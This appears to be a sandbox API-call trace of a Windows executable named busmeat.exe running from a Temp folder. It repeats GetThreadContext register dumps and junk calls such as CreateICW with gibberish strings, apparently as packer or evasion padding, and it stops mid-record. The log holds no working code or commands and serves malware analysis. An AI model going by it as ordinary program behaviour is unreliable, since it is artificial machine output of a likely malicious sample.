	[0066.265] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.265] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.265] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.265] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.265] GetConsoleCP () returned 0x0
	[0066.266] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.266] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.267] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.267] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.267] GetConsoleCP () returned 0x0
	[0066.267] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 